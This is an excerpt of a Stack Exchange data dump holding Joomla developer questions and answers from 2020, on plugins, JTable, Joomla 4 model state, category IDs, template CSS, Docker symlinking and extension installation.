  <row Id="28518" PostTypeId="1" CreationDate="2020-09-29T11:02:41.640" Score="1" ViewCount="63" Body="&lt;p&gt;I'm wanting to create a plugin to send e-mails using API methods (e.g. mailgun API or others)&lt;/p&gt;&#xA;&lt;p&gt;Is there a recommended way to do this? Can anyone point me at any good practice / hints &amp;amp; tips ?&lt;/p&gt;&#xA;&lt;p&gt;I'm guessing a system plugin would be the start? then onAfterInitialise or something? and something like JLoader::register() ?&lt;/p&gt;&#xA;&lt;p&gt;Or is there a way to config so that there is a new option in the config? and then if &amp;quot;mailer&amp;quot; = &amp;quot;mailgun&amp;quot; use this plugin functions ?&lt;/p&gt;&#xA;" OwnerUserId="14562" LastActivityDate="2020-09-29T11:02:41.640" Title="Can you add a different mail option to Joomla e.g with a plugin?" Tags="|plugin|jmail|" AnswerCount="0" CommentCount="3" ContentLicense="CC BY-SA 4.0" />
  <row Id="28519" PostTypeId="2" ParentId="28517" CreationDate="2020-09-29T11:22:28.487" Score="2" Body="&lt;p&gt;Have you tried &lt;code&gt;JTable&lt;/code&gt;?&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;$category = JTable::getInstance('category');&#xA;$category-&amp;gt;load($catid);&#xA;echo $category-&amp;gt;title; &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;I'm not 100% sure that the above is totally correct.  It might be 'categories' rather than 'category'.&lt;/p&gt;&#xA;" OwnerUserId="14562" LastEditorUserId="12352" LastEditDate="2020-09-29T13:09:57.437" LastActivityDate="2020-09-29T13:09:57.437" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="28521" PostTypeId="2" ParentId="28511" CreationDate="2020-09-30T07:32:07.533" Score="0" Body="&lt;p&gt;Agree with @sharkey send your request via ajax the link above also has a link to a Demo module&lt;/p&gt;&#xA;&lt;p&gt;You may also want to take a look at the below which shows how to use the JResponseJson which will be useful in returning a response and has some good examples that should help&#xA;&lt;a href=&quot;https://docs.joomla.org/JSON_Responses_with_JResponseJson&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://docs.joomla.org/JSON_Responses_with_JResponseJson&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="14562" LastActivityDate="2020-09-30T07:32:07.533" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="28522" PostTypeId="1" CreationDate="2020-09-30T12:57:22.147" Score="2" ViewCount="246" Body="&lt;p&gt;So i have a strange effect when trying moving a MVC component of mine to Joomla 4. I could break it down to a very simple test.&lt;/p&gt;&#xA;&lt;p&gt;If you look at the &lt;code&gt;\libraries\src\MVC\Model\AdminModel.php&lt;/code&gt; file around line 1180. This is part of the save method and happening after the row/table has been saved:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;    if (isset($table-&amp;gt;$key))&#xA;    {&#xA;        $this-&amp;gt;setState($this-&amp;gt;getName() . '.id', $table-&amp;gt;$key);&#xA;    }&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;In Joomla 3 i can do this to get the id of the last saved row:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;    if (isset($table-&amp;gt;$key))&#xA;    {&#xA;        $this-&amp;gt;setState($this-&amp;gt;getName() . '.id', $table-&amp;gt;$key);&#xA;        var_dump($this-&amp;gt;getState($this-&amp;gt;getName() . '.id'));&#xA;    }&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;If i do the same in Joomla 4 i always get a 0. Of course i do that in the model of my component. I use the id of the last inserted row to work with other tables. This breaks it down for a simple test.&lt;/p&gt;&#xA;" OwnerUserId="3822" LastActivityDate="2020-09-30T12:57:22.147" Title="Joomla 4: ID state of last saved row not available via $this-&gt;getState($this-&gt;getName() . '.id')" Tags="|model|joomla-4.x|" AnswerCount="0" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="28523" PostTypeId="2" ParentId="28512" CreationDate="2020-09-30T21:07:45.627" Score="0" Body="&lt;p&gt;I guess the first thing to say is to highlight the fact that user groups and access levels are not the same thing. You can choose to configure your Joomla instance to give access levels and user groups the same names, but adopting this solution to your question will place constraints on how your user data must be configured. A user may also be assigned to more than one usergroup, so again I'm assuming that you're constraining your data to use only one usergroup for users who will edit articles.&lt;/p&gt;&#xA;&lt;p&gt;As regards the solution, you'll need to write code to implement what you want. I haven't coded this up, but I'm fairly confident it will work.&lt;/p&gt;&#xA;&lt;p&gt;Firstly you have to write a &lt;a href=&quot;https://docs.joomla.org/Creating_a_custom_form_field_type&quot; rel=&quot;nofollow noreferrer&quot;&gt;custom form field&lt;/a&gt; for the Access field which you want to implement. Make your class extend &lt;code&gt;JFormFieldList&lt;/code&gt;, and in your &lt;code&gt;getOptions()&lt;/code&gt; method get the current user's usergroup name, and find the access level value which matches that usergroup name.&lt;/p&gt;&#xA;&lt;p&gt;The Joomla &lt;a href=&quot;https://docs.joomla.org/Accessing_the_current_user_object&quot; rel=&quot;nofollow noreferrer&quot;&gt;User API Guide&lt;/a&gt; provides direction in using the User APIs, but I think you might need to do a direct query on the &lt;code&gt;viewlevels&lt;/code&gt; table to get the name of the access levels on your system, to match against the user's usergroup.&lt;/p&gt;&#xA;&lt;p&gt;Then you can implement a content plugin which listens for &lt;a href=&quot;https://docs.joomla.org/Plugin/Events/Content#onContentPrepareForm&quot; rel=&quot;nofollow noreferrer&quot;&gt;onContentPrepareForm&lt;/a&gt;. Your plugin will be called when &lt;code&gt;com_content&lt;/code&gt; has built the form for editing an article, but before it has rendered it. You need to manipulate the form to swap out the standard Access field and replace it with your own custom field. Help and examples relating to dynamically changing forms can be found at Joomla &lt;a href=&quot;https://docs.joomla.org/Advanced_form_guide&quot; rel=&quot;nofollow noreferrer&quot;&gt;Advanced Form Guide&lt;/a&gt;.&lt;/p&gt;&#xA;&lt;p&gt;Best of luck!&lt;/p&gt;&#xA;" OwnerUserId="11650" LastActivityDate="2020-09-30T21:07:45.627" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="28524" PostTypeId="1" CreationDate="2020-09-30T22:08:32.240" Score="0" ViewCount="254" Body="&lt;p&gt;When creating a new article, how can I get the current selected category ID as shown in the category select field? I need to pass the value to a PHP variable.&lt;/p&gt;&#xA;&lt;p&gt;There is the javascript function &lt;code&gt;categoryHasChanged(element)&lt;/code&gt; in the page at &lt;code&gt;administrator/index.php?option=com_content&amp;amp;view=article&amp;amp;layout=edit&lt;/code&gt; which is getting the category ID from a PHP function, I just haven't determined how.&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;function categoryHasChanged(element) {&#xA;    var cat = jQuery(element);&#xA;    if (cat.val() == '2')return;&#xA;    Joomla.loadingLayer('show');&#xA;    jQuery('input[name=task]').val('article.reload');&#xA;    Joomla.submitform('article.reload', element.form);&#xA;}&#xA;jQuery( document ).ready(function() {&#xA;    Joomla.loadingLayer('load');&#xA;    var formControl = '#jform_catid';&#xA;    if (!jQuery(formControl).val() != '2'){jQuery(formControl).val('2');}&#xA;});&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;The function is used in the category select field in the &lt;code&gt;onchange=&amp;quot;&amp;quot;&lt;/code&gt; attribute&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;select id=&amp;quot;jform_catid&amp;quot; name=&amp;quot;jform[catid]&amp;quot; data-custom_group_text=&amp;quot;New Categories&amp;quot; data-no_results_text=&amp;quot;Add new Category&amp;quot; data-placeholder=&amp;quot;Type or Select a Category&amp;quot; data-custom_value_prefix=&amp;quot;#new#&amp;quot; class=&amp;quot;required chzn-custom-value&amp;quot; required aria-required=&amp;quot;true&amp;quot; onchange=&amp;quot;categoryHasChanged(this);&amp;quot;&amp;gt;&#xA;    &amp;lt;option value=&amp;quot;2&amp;quot;&amp;gt;Uncategorised&amp;lt;/option&amp;gt;&#xA;    &amp;lt;option value=&amp;quot;8&amp;quot;&amp;gt;The Green Mile&amp;lt;/option&amp;gt;&#xA;&amp;lt;/select&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;&lt;em&gt;How is the category ID delivered for a new article?&lt;/em&gt;&lt;/p&gt;&#xA;" OwnerUserId="12862" LastActivityDate="2024-03-29T09:07:10.720" Title="How to get category ID when creating new article in administration area" Tags="|category|com-content|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="28525" PostTypeId="1" CreationDate="2020-10-01T08:51:44.650" Score="1" ViewCount="42" Body="&lt;p&gt;Relevance of case information differs from language to language. In English, it might be low, but consider cases like &amp;quot;who&amp;quot; vs &amp;quot;WHO&amp;quot; and &amp;quot;us&amp;quot; vs &amp;quot;US&amp;quot;. In German, it is much higher because nouns are capitalized. &lt;code&gt;com_search&lt;/code&gt; downcases all search words. I have been looking for an option that enables case-sensitive search (similar to options mentioned in question &lt;a href=&quot;https://joomla.stackexchange.com/questions/24255&quot;&gt;How to adjust search keyword sanitization settings as language override?&lt;/a&gt;), but could not find any.&lt;/p&gt;&#xA;" OwnerUserId="13058" LastEditorUserId="13058" LastEditDate="2020-10-03T08:37:11.947" LastActivityDate="2020-10-03T08:37:11.947" Title="How to avoid downcasing of search words?" Tags="|joomla-3.x|search|com-search|" AnswerCount="0" CommentCount="2" ContentLicense="CC BY-SA 4.0" />
  <row Id="28526" PostTypeId="1" CreationDate="2020-10-01T08:59:32.310" Score="2" ViewCount="271" Body="&lt;p&gt;I am using the Flex template and SPPage builder for my Joomla site. I have one annoying problem: When I resize the window to less than 1200 px, the navbar switches to two lines (e.g. iPad Pro horizontal). Only when I resize to 992 px, is the off canvas menu activated.&lt;/p&gt;&#xA;&lt;p&gt;I would like to activate the off canvas menu already at 1200 px to prevent the two line navbar. I have googled around and found these lines in template.css:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;@media (min-width: 1200px) {&#xA;  .sppb-row-container {&#xA;    width: 1170px;&#xA;  }&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;I thought that this might control the behaviour that leads to the two line navbar, but it does not seem to do anything.&lt;/p&gt;&#xA;&lt;p&gt;So my question is: How can I control the position/screen size where the off canvas menu appears?&lt;/p&gt;&#xA;" OwnerUserId="14565" LastActivityDate="2024-02-15T15:02:40.320" Title="Navbar: prevent two lines on smaller screens" Tags="|css|menu|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="28527" PostTypeId="1" AcceptedAnswerId="28529" CreationDate="2020-10-02T21:34:35.030" Score="0" ViewCount="76" Body="&lt;p&gt;I read tutorial on Joomla.org about &lt;code&gt;com development using database&lt;/code&gt; in the link &lt;a href=&quot;https://docs.joomla.org/Special:MyLanguage/J3.2:Developing_an_MVC_Component/Using_the_database&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://docs.joomla.org/Special:MyLanguage/J3.2:Developing_an_MVC_Component/Using_the_database&lt;/a&gt;.&#xA;on the file &lt;code&gt;admin/tables/helloworld.php&lt;/code&gt; I found a class I don't understand. this is the code.&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php&#xA;/**&#xA; * @package     Joomla.Administrator&#xA; * @subpackage  com_helloworld&#xA; *&#xA; * @copyright   Copyright (C) 2005 - 2018 Open Source Matters, Inc. All rights reserved.&#xA; * @license     GNU General Public License version 2 or later; see LICENSE.txt&#xA; */&#xA;// No direct access&#xA;defined('_JEXEC') or die('Restricted access');&#xA;&#xA;/**&#xA; * Hello Table class&#xA; *&#xA; * @since  0.0.1&#xA; */&#xA;class HelloWorldTableHelloWorld extends JTable&#xA;{&#xA;    /**&#xA;     * Constructor&#xA;     *&#xA;     * @param   JDatabaseDriver  &amp;amp;$db  A database connector object&#xA;     */&#xA;    function __construct(&amp;amp;$db)&#xA;    {&#xA;        parent::__construct('#__helloworld', 'id', $db);&#xA;    }&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;in the class &lt;code&gt;HelloWorldTableHelloWorld &lt;/code&gt; there is only &lt;code&gt;constructor&lt;/code&gt; with 1 line &lt;code&gt;parent::__construct('#__helloworld', 'id', $db);&lt;/code&gt; and no other code. but I believe it does something I dont understand. can anyone explain this , thanks&lt;/p&gt;&#xA;" OwnerUserId="14548" LastActivityDate="2020-11-02T22:08:10.813" Title="JTable :: has no code but does something" Tags="|jtable|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="28528" PostTypeId="2" ParentId="28526" CreationDate="2020-10-03T10:12:13.777" Score="0" Body="&lt;p&gt;I don't think this is a configurable item in the Helix Template Settings but you can add some custom CSS in the template settings like this or similar:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;@media (max-width: 1200px) {&#xA;  #sp-menu #offcanvas-toggler {display: block !important;}&#xA;  #sp-menu .sp-megamenu-parent {display: none !important;}&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="120" LastActivityDate="2020-10-03T10:12:13.777" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="28529" PostTypeId="2" ParentId="28527" CreationDate="2020-10-03T21:54:51.350" Score="0" Body="&lt;p&gt;The Joomla JTable class has got a lot of functionality for performing CRUD operations on database tables. The code above is extending this JTable class so that it can be used for CRUD operations on the &lt;code&gt;#__helloworld&lt;/code&gt; table.&lt;/p&gt;&#xA;&lt;p&gt;Elsewhere in the code for this tutorial step there is&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;$table = $this-&amp;gt;getTable();&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;which results in the call to the JTable static method &lt;code&gt;getInstance()&lt;/code&gt;&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;public function getTable($type = 'HelloWorld', $prefix = 'HelloWorldTable', $config = array())&#xA;    {&#xA;        return JTable::getInstance($type, $prefix, $config);&#xA;    }&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;Because of the parameters passed into &lt;code&gt;JTable::getInstance()&lt;/code&gt; the code there will look for a class called &lt;code&gt;HelloWorldTableHelloWorld&lt;/code&gt; and to try to find it, it will look in certain directories and for certain filenames - this is why you have to put the code for this file into &lt;code&gt;admin/tables/helloworld.php&lt;/code&gt; for it to be found.&lt;/p&gt;&#xA;&lt;p&gt;Once it's found the file, and the class within the file, it creates an instance of that class, and that's when the constructor will be called. The constructor provides the name of the database table (namely &lt;code&gt;#__helloworld&lt;/code&gt;, where the &lt;code&gt;#__&lt;/code&gt; will get replaced by the prefix you've set on your joomla tables) and the primary key to use for database accesses (namely the &lt;code&gt;id&lt;/code&gt; field), plus the database connector.&lt;/p&gt;&#xA;&lt;p&gt;When the &lt;code&gt;HelloWorldTableHelloWorld&lt;/code&gt; instance has been created then you can easily perform CRUD operations eg&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;$table-&amp;gt;load($id);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;which will read into memory the record from this table whose id is specified by &lt;code&gt;$id&lt;/code&gt; and make the fields available as properties eg &lt;code&gt;$table-&amp;gt;greeting&lt;/code&gt;.&lt;/p&gt;&#xA;&lt;p&gt;You can read more about how JTable works in the &lt;a href=&quot;https://docs.joomla.org/Table_Basic_API_Guide&quot; rel=&quot;nofollow noreferrer&quot;&gt;Joomla Table Basic API Guide&lt;/a&gt;.&lt;/p&gt;&#xA;" OwnerUserId="11650" LastActivityDate="2020-10-03T21:54:51.350" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="28530" PostTypeId="2" ParentId="28524" CreationDate="2020-10-03T22:21:25.287" Score="0" Body="&lt;p&gt;If you're creating a new article then the category associated with that article is initially not going to be set - you're just going to have a category field which has the available categories from which the user can choose one.&lt;/p&gt;&#xA;&lt;p&gt;Once the user selects a category in this category field then the onchange attribute against it results in the &lt;code&gt;categoryHasChanged&lt;/code&gt; function being run. This causes an HTTP POST to be sent to the server with &lt;code&gt;task = article.reload&lt;/code&gt; (for com_content) and all the html input fields which are set are sent in the HTTP POST parameters, including the category id relating to the category which the user has chosen.&lt;/p&gt;&#xA;&lt;p&gt;(A reason for this reload is that the custom fields which are available are dependent upon the category, so if you change the category then you may need to change what custom fields are displayed).&lt;/p&gt;&#xA;&lt;p&gt;Once the POST gets to the server the data is stored in the session using code such as&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;$app-&amp;gt;setUserState($context . '.data', $data);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;(eg in FormController), and then an HTTP redirect back to the original page is issued.&lt;/p&gt;&#xA;&lt;p&gt;When the GET for the original page is next received then the data is retrieved from the session and injected into the form. (The custom fields functionality will look at the category id set in this data to work out which custom fields to include in the form).&lt;/p&gt;&#xA;&lt;p&gt;So if you want to get at this category id in PHP, I think you should write a content plugin which triggers on &lt;a href=&quot;https://docs.joomla.org/Plugin/Events/Content#onContentPrepareData&quot; rel=&quot;nofollow noreferrer&quot;&gt;onContentPrepareData&lt;/a&gt; where you can get at this data which has been injected into the form during this reload operation.&lt;/p&gt;&#xA;" OwnerUserId="11650" LastActivityDate="2020-10-03T22:21:25.287" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="28531" PostTypeId="1" CreationDate="2020-10-04T19:38:16.523" Score="1" ViewCount="44" Body="&lt;p&gt;I'm new to Docker. I tested &lt;a href=&quot;https://github.com/Digital-Peak/DPDocker&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://github.com/Digital-Peak/DPDocker&lt;/a&gt;. I was able to implement things quickly with the component &lt;a href=&quot;https://github.com/Digital-Peak/DPAttachments&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://github.com/Digital-Peak/DPAttachments&lt;/a&gt;.&lt;/p&gt;&#xA;&lt;p&gt;Now I'm in the process of converting one of my components.&lt;/p&gt;&#xA;&lt;p&gt;I am currently creating symlinks with &lt;a href=&quot;https://robo.li/&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://robo.li/&lt;/a&gt;. I wanted to keep it that way.&#xA;I use this component for the first tests: &lt;a href=&quot;https://github.com/astridx/boilerplate&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://github.com/astridx/boilerplate&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;After symlinking via&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;astrid@ubuntu:~/git/DPDocker/boilerplate$ vendor/bin/robo map ~/git/DPDocker/DPDocker/webserver/www/j4/&#xA; [Filesystem\FilesystemStack] symlink [&amp;quot;/home/astrid/git/DPDocker/boilerplate/src/language/de-DE/pkg_foos.ini&amp;quot;,&amp;quot;/home/astrid/git/DPDocker/DPDocker/webserver/www/j4//language/de-DE/pkg_foos.ini&amp;quot;]&#xA; [Filesystem\FilesystemStack] symlink [&amp;quot;/home/astrid/git/DPDocker/boilerplate/src/language/de-DE/pkg_foos.sys.ini&amp;quot;,&amp;quot;/home/astrid/git/DPDocker/DPDocker/webserver/www/j4//language/de-DE/pkg_foos.sys.ini&amp;quot;]&#xA; [Filesystem\FilesystemStack] symlink [&amp;quot;/home/astrid/git/DPDocker/boilerplate/src/language/en-GB/pkg_foos.ini&amp;quot;,&amp;quot;/home/astrid/git/DPDocker/DPDocker/webserver/www/j4//language/en-GB/pkg_foos.ini&amp;quot;]&#xA; [Filesystem\FilesystemStack] symlink [&amp;quot;/home/astrid/git/DPDocker/boilerplate/src/language/en-GB/pkg_foos.sys.ini&amp;quot;,&amp;quot;/home/astrid/git/DPDocker/DPDocker/webserver/www/j4//language/en-GB/pkg_foos.sys.ini&amp;quot;]&#xA; [Filesystem\DeleteDir] Deleted /home/astrid/git/DPDocker/DPDocker/webserver/www/j4//api/components/com_foos...&#xA; [Filesystem\FilesystemStack] symlink [&amp;quot;/home/astrid/git/DPDocker/boilerplate/src/api/components/com_foos&amp;quot;,&amp;quot;/home/astrid/git/DPDocker/DPDocker/webserver/www/j4//api/components/com_foos&amp;quot;]&#xA; [Filesystem\DeleteDir] Deleted /home/astrid/git/DPDocker/DPDocker/webserver/www/j4//components/com_foos...&#xA; [Filesystem\FilesystemStack] symlink [&amp;quot;/home/astrid/git/DPDocker/boilerplate/src/components/com_foos&amp;quot;,&amp;quot;/home/astrid/git/DPDocker/DPDocker/webserver/www/j4//components/com_foos&amp;quot;]&#xA; [Filesystem\DeleteDir] Deleted /home/astrid/git/DPDocker/DPDocker/webserver/www/j4//plugins/webservices/foos...&#xA; [Filesystem\FilesystemStack] symlink [&amp;quot;/home/astrid/git/DPDocker/boilerplate/src/plugins/webservices/foos&amp;quot;,&amp;quot;/home/astrid/git/DPDocker/DPDocker/webserver/www/j4//plugins/webservices/foos&amp;quot;]&#xA; [Filesystem\DeleteDir] Deleted /home/astrid/git/DPDocker/DPDocker/webserver/www/j4//templates/facile...&#xA; [Filesystem\FilesystemStack] symlink [&amp;quot;/home/astrid/git/DPDocker/boilerplate/src/templates/facile&amp;quot;,&amp;quot;/home/astrid/git/DPDocker/DPDocker/webserver/www/j4//templates/facile&amp;quot;]&#xA; [Filesystem\DeleteDir] Deleted /home/astrid/git/DPDocker/DPDocker/webserver/www/j4//administrator/components/com_foos...&#xA; [Filesystem\FilesystemStack] symlink [&amp;quot;/home/astrid/git/DPDocker/boilerplate/src/administrator/components/com_foos&amp;quot;,&amp;quot;/home/astrid/git/DPDocker/DPDocker/webserver/www/j4//administrator/components/com_foos&amp;quot;]&#xA; [Filesystem\DeleteDir] Deleted /home/astrid/git/DPDocker/DPDocker/webserver/www/j4//media/com_foos...&#xA; [Filesystem\FilesystemStack] symlink [&amp;quot;/home/astrid/git/DPDocker/boilerplate/src/media/com_foos&amp;quot;,&amp;quot;/home/astrid/git/DPDocker/DPDocker/webserver/www/j4//media/com_foos&amp;quot;]&#xA; [Filesystem\DeleteDir] Deleted /home/astrid/git/DPDocker/DPDocker/webserver/www/j4//modules/mod_foo...&#xA; [Filesystem\FilesystemStack] symlink [&amp;quot;/home/astrid/git/DPDocker/boilerplate/src/modules/mod_foo&amp;quot;,&amp;quot;/home/astrid/git/DPDocker/DPDocker/webserver/www/j4//modules/mod_foo&amp;quot;]&#xA;astrid@ubuntu:~/git/DPDocker/boilerplate$ &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;I see the attached and the extension is not found in Joomla. What is my mistake?&#xA;&lt;a href=&quot;https://i.stack.imgur.com/Fn1u9.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/Fn1u9.png&quot; alt=&quot;enter image description here&quot; /&gt;&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="7387" LastActivityDate="2020-10-14T06:15:46.767" Title="DPDocker and Joomla" Tags="|development|extensions|docker|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="28532" PostTypeId="1" CreationDate="2020-10-05T19:22:03.147" Score="0" ViewCount="65" Body="&lt;p&gt;Hi I'm automating the Joomla Installations, I'm looking for a way to install an extension from an external script.&lt;/p&gt;&#xA;&lt;p&gt;I've found &lt;a href=&quot;https://joomla.stackexchange.com/questions/23220/how-can-i-programmatically-install-a-plugin&quot;&gt;this solution&lt;/a&gt;, but there is an issue, and that is, the &amp;quot;external script&amp;quot; also is a Joomla! install, and now, when I think of the solution, the constants will collide. Any way to get this working?&lt;/p&gt;&#xA;" OwnerUserId="1761" LastActivityDate="2024-02-18T02:08:46.063" Title="Install extension from external script" Tags="|external-script|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="28533" PostTypeId="2" ParentId="28532" CreationDate="2020-10-05T19:22:03.147" Score="0" Body="&lt;p&gt;One solution that comes to mind is, just get a simple php file with the &lt;a href=&quot;https://joomla.stackexchange.com/questions/23220/how-can-i-programmatically-install-a-plugin&quot;&gt;&amp;quot;installation script&amp;quot;&lt;/a&gt; dropped in the target Joomla instance root, and then hit that script via CURL, that way the instances/runtimes are untangled and after the installation is completed, delete the &amp;quot;installation script&amp;quot;.&lt;/p&gt;&#xA;" OwnerUserId="1761" LastActivityDate="2020-10-05T19:22:03.147" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="28534" PostTypeId="1" CreationDate="2020-10-05T23:33:06.710" Score="2" ViewCount="68" Body="&lt;p&gt;Right now the alt value for a menu image is the menu title. Is there a place, an override, where I can change this so that I can add a field to menu: Edit Item, to input an alt value instead?&lt;/p&gt;&#xA;" OwnerUserId="14569" LastActivityDate="2020-10-06T01:00:23.370" Title="How do I add a custom alt value to menu link type image?" Tags="|menu-parameters|" AnswerCount="1" CommentCount="4" ContentLicense="CC BY-SA 4.0" />
  <row Id="28535" PostTypeId="2" ParentId="28534" CreationDate="2020-10-06T01:00:23.370" Score="2" Body="&lt;p&gt;Based on the extra information, that your menu item needs to have part of it displayed using &lt;sup&gt; &lt;/sup&gt; to superscript something, my suggested solution is partially the reverse of what you're asking.&lt;/p&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Keep the menu item name clean of HTML&lt;/li&gt;&#xA;&lt;li&gt;That keeps the menu image alt tag clean&lt;/li&gt;&#xA;&lt;li&gt;That keeps the page title clean (SEO)&lt;/li&gt;&#xA;&lt;li&gt;Assuming the menu item doesn't change, that makes the ReReplacer Rule&#xA;cleaner.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&lt;p&gt;I'd use &lt;a href=&quot;https://extensions.joomla.org/extension/rereplacer/&quot; rel=&quot;nofollow noreferrer&quot;&gt;Regular Labs ReReplacer&lt;/a&gt; to then find the menu item text that you need to then add the HTML to, and replace that string with the same code, adding in the &lt;sup&gt;&lt;/sup&gt; where required.&lt;/p&gt;&#xA;&lt;p&gt;So rather than removing the extra formatting in three places, you need to add it just to the one place it appears where it needs to be laid out on screen.&lt;/p&gt;&#xA;" OwnerUserId="14062" LastActivityDate="2020-10-06T01:00:23.370" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="28536" PostTypeId="1" CreationDate="2020-10-06T12:46:14.570" Score="0" ViewCount="70" Body="&lt;p&gt;I am facing a problem to render a template after hitting a specific route.&lt;/p&gt;&#xA;&lt;p&gt;Let me describe it a bit. I have a template structure like-&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;templates&#xA;|__mytemplate&#xA;|__|__index.php&#xA;|__|__component.php&#xA;|__|__myfile.php&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;Now from a &lt;code&gt;system&lt;/code&gt; plugin, I want to render just the &lt;code&gt;myfile.php&lt;/code&gt; with its own &lt;code&gt;scripts&lt;/code&gt; and &lt;code&gt;styles&lt;/code&gt; when it hits the route &lt;code&gt;index.php?option=com_ajax&amp;amp;mytemplate=1&lt;/code&gt;.&lt;/p&gt;&#xA;&lt;p&gt;The &lt;code&gt;myfile.php&lt;/code&gt; is a simple file.&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;head&amp;gt;&#xA;    &amp;lt;jdoc:include type=&amp;quot;head&amp;quot; /&amp;gt;&#xA;&amp;lt;/head&amp;gt;&#xA;&amp;lt;body class=&amp;quot;contentpane&amp;quot;&amp;gt;&#xA;    &amp;lt;jdoc:include type=&amp;quot;component&amp;quot; /&amp;gt;&#xA;&amp;lt;/body&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;Which I found to render a template file is like-&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;$doc-&amp;gt;render(false, ['template' =&amp;gt; 'mytemplate', 'file' =&amp;gt; 'myfile.php']);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;But the problem is, I don't get in which event is perfect for rendering the &lt;code&gt;Document&lt;/code&gt; and I don't want any template specific styles/scripts. In other words, I just want to parse and render the &lt;code&gt;myfile.php&lt;/code&gt; with its own styles/scripts.&lt;/p&gt;&#xA;&lt;p&gt;Then which is the best event where I can attach the styles/scripts and render the &lt;code&gt;myfile.php&lt;/code&gt;.&lt;/p&gt;&#xA;" OwnerUserId="12609" LastActivityDate="2024-02-24T15:02:45.400" Title="Render a template after a specific route by using system plugin" Tags="|templates|plugin-events|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="28537" PostTypeId="1" CreationDate="2020-10-06T14:04:15.230" Score="4" ViewCount="85" Body="&lt;p&gt;Joomla 3.9.21&lt;/p&gt;&#xA;&lt;p&gt;I am working on a site that is very image heavy, most images are within the EasyBlog component and amount to approximately 8GB, the original administrators didn't optimise the images for web when uploading them.&lt;/p&gt;&#xA;&lt;p&gt;I need to compress these images somehow so that they aren't taking up so much resources on the server, however I don't want to affect their dimensions or picture quality.&lt;/p&gt;&#xA;&lt;p&gt;Rather than download all the images manually and bath process them in Photoshop and re-uplad I was looking for some ideas?&lt;/p&gt;&#xA;&lt;p&gt;I know that Easyblog offer an &lt;a href=&quot;https://stackideas.com/dashboard/optimizer&quot; rel=&quot;nofollow noreferrer&quot;&gt;image optimisation service&lt;/a&gt; but i'm wondering if I can somehow implement a similar reduction for free?&lt;/p&gt;&#xA;" OwnerUserId="1538" LastActivityDate="2021-03-06T12:05:20.570" Title="Compress &amp; Optimise Existing Images" Tags="|joomla-3.x|images|server|compression|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
